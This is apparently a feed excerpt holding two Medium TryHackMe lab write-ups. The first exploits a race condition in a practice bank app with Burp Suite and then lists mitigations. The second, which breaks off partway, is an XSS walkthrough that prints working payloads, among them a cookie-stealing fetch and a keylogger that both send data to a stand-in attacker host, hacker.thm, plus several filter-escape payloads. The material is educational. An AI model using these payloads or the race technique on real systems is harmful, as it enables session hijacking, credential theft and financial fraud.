their date. Because the app is multi-threaded, it assigns Thread A to handle Paul and Thread B to handle Peter.</p><p>Thread A checks the database, and queries, “Is Table 10 available?” The database says YES. Thread B also checks the database, and queries, “Is Table 10 available?” Because Thread A hasn’t finished processing the acquisition of Table 10, the database still says YES. Confusion!</p><p>Thread A processes the payment and marks the table as SOLD. Thread B, having initially gotten a “YES” response on the availability of the table also processes the payment and marks the table as SOLD.</p><p>Now, two people have paid for the same table. The system is now in a “race” to the final checkpoint; whichever thread writes its data to the database last will likely overwrite the other, leaving one customer with a confirmed table and the other with a paid receipt but no table.</p><p>The “race” isn’t just about who gets there first — it’s about the chaotic state the database is left in when two different threads try to process the same transaction simultaneously.</p><p>In this scenario, the entry for <strong>Table</strong> <strong>10</strong> in the database serves as the <em>shared</em><strong> </strong><em>resource</em>; <strong>Paul</strong> serves as <em>Thread</em> <em>A</em>, and <strong>Peter</strong> serves as <em>Thread</em> <em>B</em>.</p><ol><li><strong>Thread A</strong> (Paul) finishes his payment. He writes to the database: “Table 10: SOLD to Paul”.</li><li><strong>Thread B</strong> (Peter) is a millisecond behind. He also finishes his payment. He writes to the database: “Table 10: SOLD to Peter”.</li></ol><p>Because Thread B wrote his data last, he effectively erases Paul’s name from the “Owner” box. The database doesn’t see a conflict; it just sees two consecutive instructions to update the same row, and it goes with the latter.</p><p>This scenario is the perfect example of a <strong>Time-of-Check to Time-of-Use (TOC/TOU)</strong> vulnerability.</p><ul><li><strong>TOC (Time-of-Check):</strong> This is when Thread A and Thread B ask the database if the table is free. The “Check” is performed, and both get a green light.</li><li><strong>The Vulnerability (The Gap):</strong> This is the time (millisecond) <em>after</em> the check but <em>before</em> the action. This is the moment Peter’s thread sneaks in while Paul’s thread is still processing the payment. This is often called the “Race Window”.</li><li><strong>TOU (Time-of-Use):</strong> This is when the threads actually “use” the result of their check to finish the sale.</li></ul><p>A Race Condition is essentially a <strong>TOC/TOU</strong> failure. The system trusts that the ‘Check’ (Availability) will remain true until the ‘Use’ (The Sale) is finished. The attacker wins the race by squeezing an action into the tiny gap between those two points — when the system checks a condition and when it performs the action.</p><blockquote><strong><em>Common causes of a Race Condition Attack</em></strong></blockquote><p>Generally speaking, a common cause of race conditions lies in shared resources. For example, when multiple threads concurrently access and modify the same shared data; a shared data like a database record.</p><p>Let’s explore some of these causes:</p><ul><li><strong>Database Operations</strong>: Concurrent database operations, such as read-modify-write sequences, can introduce race conditions. For example, two users attempting to update the same record simultaneously may result in inconsistent data.</li><li><strong>Lack of Synchronization</strong>: Multiple threads or processes that access shared resources (memory, files, database records) simultaneously without proper locks open up a room for vulnerability.</li><li><strong>Parallel Execution</strong>: Web servers may execute multiple requests in parallel to handle concurrent user interactions. If these requests access and modify shared resources or application states without proper synchronization, it can lead to race conditions and unexpected behaviour.</li></ul><p>At the end of the day, these causes all lead to a synchronization<strong> </strong>failure where operations are not executed atomically (not happening as one single unit). This creates a window of opportunity where timing allows an attacker to manipulate the system state.</p><blockquote><strong><em>Exploiting a Race Condition Vulnerability</em></strong></blockquote><p>To exploit a race condition vulnerability, timing is everything. It’s rarely done manually; it requires automation.</p><p>Let me walk you through how I exploited a race condition on a bank application, raising an account balance from <strong>$100 </strong>to over <strong>$1,000</strong>.</p><p>The tool I used for this exploit was <strong>Burp Suite: Repeater</strong>.</p><blockquote><em>Attack Process:</em></blockquote><p>In this attack, I had access to two separate user accounts — <strong>Rasser</strong> <strong>Cond</strong> and <strong>Warunki</strong> <strong>Wyscigu</strong> — and transferred funds from both accounts to a third account that benefited from the exploit: <strong>Zavodni</strong> <strong>Stav’s</strong> account.</p><p>Each of these accounts held a starting balance of <strong>$100</strong>.</p><p>My objective was to exploit the race condition vulnerability present in the bank application to raise <strong>Zavodni</strong> <strong>Stav’s</strong> balance from <strong>$100</strong> to over <strong>$1,000</strong>.</p><p>Let’s get into it.</p><ul><li>I started by logging in to each of the accounts on the Bank App.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QJlUVr0WajE04O2ZXxviBA.png" /><figcaption>Here, you can see the account name (<strong>Rasser Cond</strong>) in the top right corner of the application’s dashboard, as well as the initial account balance of <strong>$100</strong>.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J3Ulf1nF26O8hPmhwopEMQ.png" /><figcaption>Here, you can see the account name (<strong>Warunki Wyscigu</strong>) in the top right corner of the application’s dashboard, as well as the initial account balance of <strong>$100</strong>.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOyGLqtPL5HbHIJaY2mBQg.png" /><figcaption>Here, you can see the account name (<strong>Zavodni Stav</strong>) in the top right corner of the application’s dashboard, as well as the initial account balance of <strong>$100</strong>.</figcaption></figure><ul><li>It was necessary for me to to explore and study how the target web application receives HTTP requests and how it responds to them. To do this, I made use of <strong>Burp Suite Proxy</strong>, specifically the HTTP history tab. The HTTP<strong> </strong>history tab logs every HTTP request and the respective response.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EfkLtHxFeOvha_ibspwH9w.png" /><figcaption>Request and Response logs from HTTP history.</figcaption></figure><ul><li>I then went back to the vulnerable bank application to make an initial transaction of <strong>$10</strong> from <strong>Rasser Cond’s </strong>account to <strong>Zavodni Stav</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UwUOWquSaPsmjvCC7ueswA.png" /><figcaption>Sending <strong>$10 </strong>from <strong>Rasser</strong> <strong>Cond</strong> to <strong>Zavodni Stav</strong>.<strong> Zavodni </strong>gets <strong>$9.50 </strong>due to transaction charges.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*evRTbzIBoEb5d2FzR1oBLQ.png" /><figcaption>Transaction to <strong>Zavodni Stav </strong>from <strong>Rasser Cond </strong>is successful. <strong>Note: </strong>This is not an attack, this is a legitimate transaction.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YwHFUHDnadH82f1eJX87CA.png" /><figcaption><strong>Rasser Cond’s </strong>updated account balance after transferring <strong>$10 </strong>to <strong>Zavodni Stav</strong>.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5IhIru2lmRFTbeLJaUBig.png" /><figcaption><strong>Zavodni Stav’s </strong>account balance after receiving <strong>$9.50 </strong>from <strong>Rasser Cond</strong>.<strong> </strong>Remember, <strong>$0.50</strong> was deducted for transaction charges.</figcaption></figure><p><strong>It’s time for a race condition attack!</strong></p><ul><li>I captured the transaction request using <strong>Burp Suite Proxy</strong> and sent it to <strong>Burp Suite Repeater </strong>to carry out the race condition attack.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xl6ENvBNuQdeqdloSUbOWQ.png" /><figcaption><strong>POST</strong> request for the transfer of <strong>$10 </strong>from <strong>Rasser </strong>to <strong>Zavodni</strong>. This is the HTTP request I used for the attack.</figcaption></figure><ul><li>To initiate a race condition attack, like I’ve explored in this write-up, you have to exploit the race window — the time between the check and the action/use (<strong>TOC/TOU</strong>). To perform an illegitimate transaction and send more than the remaining amount on <strong>Rasser Cond’s </strong>account (<strong>$90</strong>), I had to duplicate the number of transaction requests to the target application. I duplicated the original transaction request 100 times.</li><li>Remember, from the last check, <strong>Zavodni Stav’s </strong>account has just <strong>$109.5</strong>. Let’s increase it!</li><li>I created a group tab for the HTTP request I captured, named it <em>Race Condition Attack</em>, added the request to the group, and duplicated it 100 times.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6OyO6v5Y4cFdv9vUnriW1w.png" /><figcaption><strong>100 </strong>duplicates of the HTTP <strong>POST</strong> request. Total number of requests = <strong>101</strong>.</figcaption></figure><ul><li>This is a very important aspect of a race condition attack. Before hitting “Send” to initiate the attack, it is important to note that <strong>Burp Suite Repeater </strong>offers three different choices to perform this attack:</li></ul><ol><li>Send group in sequence (<strong>single connection</strong>)</li><li>Send group in sequence (<strong>separate connections</strong>)</li><li>Send group in parallel (<strong>last-byte sync</strong>)</li></ol><p><strong>Sending Group in Sequence over a Single Connection</strong> establishes a single connection to the server and sends all the requests in the group’s tabs before closing the connection.</p><p><strong>Sending Group in Sequence over Separate Connections </strong>establishes a TCP connection, sends a request from the group, and closes the TCP connection before repeating the process for the subsequent request.</p><p>These two options send requests one after the other. It’s useless for a race condition because it doesn’t create the “Time-of-Check” gap — what a race condition thrives on.</p><p><strong>Sending Group in Parallel (Last-Byte Sync) </strong>would trigger the Repeater to send all the requests in the group at once. It holds the final byte of every request and releases them all at the exact same millisecond.</p><p>Because I had to send all the requests in the group at once, <strong>Sending Group in Parallel</strong> was my best choice for this attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zvu9kD45Nzwawjqk5RWhtQ.png" /><figcaption>First attack completed on <strong>Burp Suite Repeater</strong>.</figcaption></figure><ul><li>The result of the attack:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VElmsup7oTeLCfhpMJ8TKg.png" /><figcaption><strong>Successful! </strong>Over <strong>$600</strong> sent to <strong>Zavodni’s </strong>account. Balance went up from <strong>$109.5</strong> to <strong>$717.5</strong>.</figcaption></figure><ul><li>The effect of the attack on <strong>Rasser Cond’s</strong> account balance:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eHMSgyDwjhoUVw7ijHgqg.png" /><figcaption><strong>$0.0! </strong>The <strong>$90.0 </strong>balance that was previously in the account? All gone!</figcaption></figure><ul><li>To get <strong>Zavodni Stav’s </strong>account balance from <strong>$717.5 </strong>to <strong>$1,000</strong>, I performed the same process of initiating a transaction of <strong>$10 </strong>from <strong>Warunki Wyscigu’s </strong>account. Let’s go through it!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGGaWL9KMsVH7VadrT6y9A.png" /><figcaption><strong>Warunki Wyscigu’s </strong>account balance before initiating the transaction.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BC4EPKxOXdywE4nzzvSC9Q.png" /><figcaption>Sending <strong>$10 </strong>from <strong>Warunki</strong> <strong>Wyscigu</strong> to <strong>Zavodni Stav</strong>.<strong> Zavodni </strong>gets <strong>$9.50 </strong>due to transaction charges.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5nOXNMgwG2I0avEW6iF0dQ.png" /><figcaption>Transaction to <strong>Zavodni Stav </strong>from <strong>Warunki Wyscigu </strong>is successful. <strong>Note: </strong>This is not an attack, this is a legitimate transaction.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wg4MWPwkJidwKP87ov-FEw.png" /><figcaption><strong>Warunki Wyscigu’s </strong>updated account balance after transferring <strong>$10 </strong>to <strong>Zavodni Stav</strong>.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXvSVzL4EMB9q45wIH-06w.png" /><figcaption><strong>Zavodni Stav’s </strong>account balance after receiving <strong>$9.50 </strong>from <strong>Warunki Wyscigu</strong>.<strong> </strong>Remember, <strong>$0.50</strong> was deducted for transaction charges.</figcaption></figure><p>With the first phase complete, I shifted my focus to exploiting this vulnerability on the second source account: <strong>Warunki Wyscigu</strong>.</p><p>I performed the same process:</p><ul><li>Captured the transaction request using <strong>Burp Suite Proxy</strong> and sent it to <strong>Burp Suite Repeater </strong>to carry out the race condition attack.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H25JGcAkWsTA-wzJNPbgSQ.png" /><figcaption><strong>POST</strong> request for the transfer of <strong>$10 </strong>from <strong>Warunki </strong>to <strong>Zavodni</strong>. This is the HTTP request I used for the attack.</figcaption></figure><ul><li>Created a group tab for the HTTP request I captured, named it <em>Race Condition Attack 2</em>, added the request to the group, and duplicated it 100 times.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J20gbDYi4BcO9bPIxGZrBw.png" /><figcaption><strong>100 </strong>duplicates of the HTTP <strong>POST</strong> request. Total number of requests = <strong>101</strong>.</figcaption></figure><ul><li>Initiated the attack by sending the requests in <em>Group Parallel.</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGk7Guw6aWKZiOwgcewWkQ.png" /><figcaption>Second attack completed on <strong>Burp Suite Repeater</strong>.</figcaption></figure><ul><li>The result of the attack:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erF8M_9Pnl8xnN8UPG3TCA.png" /><figcaption><strong>Goal achieved: $1,344.5! 🤑</strong></figcaption></figure><p>Successfully executing a race condition exploit, especially one that scales a balance from <strong>$100</strong> to over <strong>$1,000</strong>, serves as a definitive proof of concept. In a production environment, this leads to direct financial loss and a total breakdown of data integrity. This exploit highlights the critical need for atomic transactions in modern financial applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOyGLqtPL5HbHIJaY2mBQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erF8M_9Pnl8xnN8UPG3TCA.png" /><figcaption><strong>Zavodni Stav’s </strong>account before and after the exploit.</figcaption></figure><p>Successfully executing a race condition exploit, especially one that scales a balance from <strong>$100</strong> to over <strong>$1,000</strong>, serves as a definitive proof of concept. In a production environment, this leads to direct financial loss and a total breakdown of data integrity. This exploit highlights the critical need for atomic transactions in modern financial applications.</p><blockquote><strong><em>Mitigation Techniques</em></strong></blockquote><p>Detecting race conditions from the business perspective can be a challenge. If a few users redeemed the same discount voucher multiple times, it would most likely go unnoticed unless the logs are actively checked for certain behaviours.</p><p>One of the key solution to this vulnerability lies in enforcing proper locking mechanisms and transaction isolation. In a secure system, the shared resource should be locked the instant it is checked.</p><p>Here are key points to prevent a race condition attack:</p><ul><li><strong>Synchronization Mechanisms:</strong> This is important because synchronization mechanisms manage how multiple processes or threads access shared resources (like a database or an account balance). By implementing a strong synchronization mechanism, you eliminate the “race” entirely. Even if an attacker sends 100 simultaneous requests using Burp Suite Repeater’s last-byte sync (like I did in my earlier attack), the synchronization layer forces the server to process them sequentially<strong> </strong>(one by one) rather than concurrently. The first request will deduct the funds and release the lock, and the second request will then “check” the balance, see it is now $0, and safely fail.</li><li><strong>Atomic Database Operations: </strong>When an operation is executed<strong> </strong>atomically, it means it happens as one single, unbreakable unit. To the rest of the system, the operation hasn’t happened at all until it is completely<strong> </strong>finished. There is no “middle” state where another thread can peep inside or change something. Ensure that “check” and “use” actions occur as a single, indivisible transaction. By using atomic SQL queries (e.g., UPDATE accounts SET balance = balance - 100 WHERE id = 1 AND balance &gt;= 100), the database validates the condition and applies the change in one step, preventing concurrent requests from slipping through a gap. This approach guarantees that an operation can finish without being interrupted by another thread.</li><li><strong>Transaction Rate Limiting:</strong> Rate limiting is a security constraint that restricts how many times a user can perform a specific action within a given timeframe. In the context of my race condition exploit above, the attack relied on sending a high volume of parallel requests (using Burp<strong> </strong>Suite: Repeater) to hit a millisecond timing window. Rate limiting acts as the first line of defense by neutralizing the speed required for the exploit to work. By forcing requests to process one<strong> </strong>after<strong> </strong>another rather than all at once, the system ensures that each transaction is fully completed before the next one can attempt to check the same account balance.</li></ul><p>I hope you enjoyed this deep dive into race conditions as much as I enjoyed documenting the process.</p><p>To practice this exploit yourself, you can access the lab environment here: <a href="https://tryhackme.com/room/raceconditionsattacks">https://tryhackme.com/room/raceconditionsattacks</a></p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa34ad973ee2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Cross-Site Scripting (XSS) — TryHackMe Walkthrough.]]></title>
            <link>https://oluwakamiye.medium.com/introduction-to-cross-site-scripting-xss-tryhackme-walkthrough-3c23392c8fa5?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c23392c8fa5</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 04:30:12 GMT</pubDate>
            <atom:updated>2026-04-11T04:30:12.815Z</atom:updated>
            <content:encoded><![CDATA[<p>This write-up explains how to detect and exploit XSS vulnerabilities, giving you control of other visitors’ browsers.</p><blockquote><strong>Room Brief</strong></blockquote><p><strong>Prerequisites:</strong><br>It’s worth noting that because XSS is based on JavaScript, it would be helpful to have a basic understanding of the language. However, none of the examples is overly complicated — also, a basic understanding of Client-Server requests and responses.</p><p>Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.</p><p>In this room, you’ll learn about the different XSS types, how to create XSS payloads, how to modify your payloads to evade filters, and then end with a practical lab where you can try out your new skills.</p><p>Cross-site scripting vulnerabilities are extremely common. They are typically found in web applications, and it’s a kind of vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can then steal sensitive information, like user’s cookies, session tokens, or other sensitive data.</p><p>Below are a few reports of XSS found in massive applications; you can get paid very well for finding and reporting these vulnerabilities.</p><ul><li><a href="https://hackerone.com/reports/415484">XSS found in Shopify</a></li><li><a href="https://hackerone.com/reports/409850">$7,500 for XSS found in Steam chat(</a></li><li><a href="https://hackerone.com/reports/449351">$2,500 for XSS in HackerOne</a></li><li><a href="https://hackerone.com/reports/283825">XSS found in Infogram</a></li></ul><p><strong>Question:</strong></p><p><strong>Q: </strong>What does XSS stand for?</p><p><strong>A: </strong>Cross-Site Scripting</p><blockquote><strong>XSS Payloads</strong></blockquote><p><strong>What is a payload?</strong></p><p>In XSS, the payload is the JavaScript code we wish to be executed on the targets computer. There are two parts to the payload, the intention and the modification.</p><p>The intention is what you wish the JavaScript to actually do (which we’ll cover with some examples below), and the modification is the changes to the code we need to make it execute as every scenario is different (more on this in the perfecting your payload task).</p><p>Here are some examples of XSS intentions.</p><p><strong>Proof Of Concept:</strong></p><p>This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:</p><p>&lt;script&gt;alert(&#39;XSS&#39;);&lt;/script&gt;</p><p><strong>Session Stealing:</strong></p><p>Details of a user’s session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target’s cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker’s control to be logged. Once the hacker has these cookies, they can take over the target’s session and be logged as that user.</p><p>&lt;script&gt;fetch(&#39;https://hacker.thm/steal?cookie=&#39; + btoa(document.cookie));&lt;/script&gt;</p><p><strong>Key Logger:</strong></p><p>The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker’s control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.</p><p>&lt;script&gt;document.onkeypress = function(e) { fetch(&#39;https://hacker.thm/log?key=&#39; + btoa(e.key) );}&lt;/script&gt;</p><p><strong>Business Logic:</strong></p><p>This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user’s email address called user.changeEmail(). Your payload could look like this:</p><p>&lt;script&gt;user.changeEmail(&#39;attacker@hacker.thm&#39;);&lt;/script&gt;</p><p>Now that the email address for the account has changed, the attacker may perform a reset password attack.</p><p>The next four tasks are going to cover the different types of XSS Vulnerabilities, all requiring slightly different attack payloads and user interaction.</p><p><strong>Questions:</strong></p><p><strong>Q: </strong>Which document property could contain the user’s session token?</p><p><strong>A: </strong>document.cookie</p><p><strong>Q: </strong>Which JavaScript method is often used as a Proof Of Concept?</p><p><strong>A: </strong>alert</p><blockquote><strong>Reflected XSS</strong></blockquote><p>Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.</p><p><strong>Example Scenario:</strong></p><p>A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the <strong>error</strong> parameter in the query string and is built directly into the page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/0*MwlZ08MYrEz6Q1fs.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*h2USOsSVdu0rzIum.png" /></figure><p>The application doesn’t check the contents of the <strong>error</strong> parameter, which allows the attacker to insert malicious code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*P081z7_tupVLZUEC.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/0*FODBiWJnFbJmi-Kd.png" /></figure><p>The vulnerability can be used as per the scenario in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/0*hKNfibtohlPt9qRF.png" /></figure><p><strong>Potential Impact:</strong></p><p>The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims getting them to execute code on their browser, potentially revealing session or customer information.</p><p><strong>How to test for Reflected XSS:</strong></p><p>You’ll need to test every possible point of entry; these include:</p><ul><li>Parameters in the URL Query String</li><li>URL File Path</li><li>Sometimes HTTP Headers (although unlikely exploitable in practice)</li></ul><p>Once you’ve found some data which is being reflected in the web application, you’ll then need to confirm that you can successfully run your JavaScript payload; your payload will be dependent on where in the application your code is reflected (you’ll learn more about this in task 6).</p><p><strong>Question:</strong></p><p><strong>Q: </strong>Where in an URL is a good place to test for reflected XSS?</p><p><strong>A: </strong>parameters</p><blockquote><strong>Stored XSS</strong></blockquote><p>As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.</p><p><strong>Example Scenario:</strong></p><p>A blog website that allows users to post comments. Unfortunately, these comments aren’t checked for whether they contain JavaScript or filter out any malicious code. If we now post a comment containing JavaScript, this will be stored in the database, and every other user now visiting the article will have the JavaScript run in their browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*b1dLY1bpoIWMccqS.png" /></figure><p><strong>Potential Impact:</strong></p><p>The malicious JavaScript could redirect users to another site, steal the user’s session cookie, or perform other website actions while acting as the visiting user.</p><p><strong>How to test for Stored XSS:</strong></p><p>You’ll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:</p><ul><li>Comments on a blog</li><li>User profile information</li><li>Website Listings</li></ul><p>Sometimes developers think limiting input values on the client-side is good enough protection, so changing values to something the web application wouldn’t be expecting is a good source of discovering stored XSS, for example, an age field that is expecting an integer from a dropdown menu, but instead, you manually send the request rather than using the form allowing you to try malicious payloads.</p><p>Once you’ve found some data which is being stored in the web application, you’ll then need to confirm that you can successfully run your JavaScript payload; your payload will be dependent on where in the application your code is reflected (you’ll learn more about this in task 6).</p><p><strong>Question:</strong></p><p><strong>Q: </strong>How are stored XSS payloads usually stored on a website?</p><p><strong>A: </strong>database</p><blockquote><strong>DOM Based XSS</strong></blockquote><p><strong>What is the DOM?</strong></p><p>DOM stands for <strong>D</strong>ocument <strong>O</strong>bject <strong>M</strong>odel and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document, and this document can be either displayed in the browser window or as the HTML source. A diagram of the HTML DOM is displayed below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/0*akkepupo_teSkekx.png" /></figure><p>If you want to learn more about the DOM and gain a deeper understanding <a href="https://www.w3.org/TR/REC-DOM-Level-1/introduction.html">w3.org</a> has a great resource.</p><p><strong>Exploiting the DOM</strong></p><p>DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.</p><p><strong>Example Scenario:</strong></p><p>The website’s JavaScript gets the contents from the window.location.hash parameter and then writes that onto the page in the currently being viewed section. The contents of the hash aren&#39;t checked for malicious code, allowing an attacker to inject JavaScript of their choosing onto the webpage.</p><p><strong>Potential Impact:</strong></p><p>Crafted links could be sent to potential victims, redirecting them to another website or steal content from the page or the user&#39;s session.</p><p><strong>How to test for Dom Based XSS:</strong></p><p>DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You’d need to look for parts of the code that access certain variables that an attacker can have control over, such as “<strong>window.location.x</strong>” parameters.</p><p>When you’ve found those bits of code, you’d then need to see how they are handled and whether the values are ever written to the web page’s DOM or passed to unsafe JavaScript methods such as <strong>eval()</strong>.</p><p><strong>Question:</strong></p><p><strong>Q: </strong>What unsafe JavaScript method is good to look for in source code?</p><p><strong>A: </strong>eval()</p><blockquote><strong>Blind XSS</strong></blockquote><p>Blind XSS is similar to a stored XSS (which we covered in task 4) in that your payload gets stored on the website for another user to view, but in this instance, you can’t see the payload working or be able to test it against yourself first.</p><p><strong>Example Scenario:</strong></p><p>A website has a contact form where you can message a member of staff. The message content doesn’t get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal.</p><p><strong>Potential Impact:</strong></p><p>Using the correct payload, the attacker’s JavaScript could make calls back to an attacker’s website, revealing the staff portal URL, the staff member’s cookies, and even the contents of the portal page that is being viewed. Now the attacker could potentially hijack the staff member’s session and have access to the private portal.</p><p><strong>How to test for Blind XSS:</strong></p><p>When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed.</p><p>A popular tool for Blind XSS attacks is <a href="https://github.com/mandatoryprogrammer/xsshunter-express">XSS Hunter Express</a>. Although it’s possible to make your own tool in JavaScript, this tool will automatically capture cookies, URLs, page contents and more.</p><p><strong>Questions:</strong></p><p><strong>Q: </strong>What tool can you use to test for Blind XSS?</p><p><strong>A: </strong>XSS Hunter Express</p><p><strong>Q: </strong>What type of XSS is very similar to Blind XSS?</p><p><strong>A: </strong>Stored XSS</p><blockquote><strong>Perfecting your Payload</strong></blockquote><p>The payload is the JavaScript code we want to execute either on another user’s browser or as a proof of concept to demonstrate a vulnerability in a website.</p><p>Your payload could have many intentions, from just bringing up a JavaScript alert box to prove we can execute JavaScript on the target website to extracting information from the webpage or user’s session.</p><p>How your JavaScript payload gets reflected in a target website’s code will determine the payload you need to use. To Explain this, click the green Start Machine button on the right, and when the machine has loaded, open the below link in a new tab.</p><p><a href="https://lab_web_url.p.thmlabs.com/">https://LAB_WEB_URL.p.thmlabs.com</a></p><p>The aim for each level will be to execute the JavaScript alert function with the string THM, for example:</p><p>&lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt;</p><p><strong>Level One:</strong></p><p>You’re presented with a form asking you to enter your name, and once you’ve entered your name, it will be presented on a line below, for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*I1bOfUApvaszmC2nNCW77g.png" /></figure><p>If you view the Page Source, You’ll see your name reflected in the code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*xfVrUdmFYSrbCTROhnhdXw.png" /></figure><p>Instead of entering your name, we’re instead going to try entering the following JavaScript Payload: &lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt;</p><p>Now when you click the enter button, you’ll get an alert popup with the string <strong>THM</strong> and the page source will look like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*J2jsDJzGQhXN_5iuDf4Q2A.png" /></figure><p>And then, you’ll get a confirmation message that your payload was successful with a link to the next level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*8wrTR86Jco3Ff1C20rWXuA.png" /></figure><p><strong>Level Two:</strong></p><p>Like the previous level, you’re being asked again to enter your name. This time when clicking enter, your name is being reflected in an input tag instead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*OCxEmvGXOSM49jhm-Fl_Jg.png" /></figure><p>Viewing the page source, you can see your name reflected inside the value attribute of the input tag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*a9ZHHs2DN_S8bXxQo_mI0w.png" /></figure><p>It wouldn’t work if you were to try the previous JavaScript payload because you can’t run it from inside the input tag. Instead, we need to escape the input tag first so the payload can run properly. You can do this with the following payload: &quot;&gt;&lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt;</p><p>The important part of the payload is the &quot;&gt; which closes the value parameter and then closes the input tag.</p><p>This now closes the input tag properly and allows the JavaScript payload to run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*sefPLMwNeQrKBK76A__fgQ.png" /></figure><p>Now when you click the enter button, you’ll get an alert popup with the string <strong>THM</strong>. And then, you’ll get a confirmation message that your payload was successful with a link to the next level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*BFn1jz6DcX1IuEG4wBYtnw.png" /></figure><p><strong>Level Three:</strong></p><p>You’re presented with another form asking for your name, and the same as the previous level, your name gets reflected inside an HTML tag, this time the textarea tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*roF7WPeZXAJs73zeiAIvNg.png" /></figure><p>We’ll have to escape the textarea tag a little differently from the input one (in Level Two) by using the following payload:</p><p>&lt;/textarea&gt;&lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt;</p><p>This turns this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*gmcwcysigvYcR20N6Jwn0A.png" /></figure><p>Into This:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*vNh8QZEd-1bjYTFv3uffBg.png" /></figure><p>The important part of the above payload is &lt;/textarea&gt;, which causes the textarea element to close so the script will run.</p><p>Now when you click the enter button, you’ll get an alert popup with the string <strong>THM</strong>. And then, you’ll get a confirmation message that your payload was successful with a link to the next level.</p><figure><img alt="" 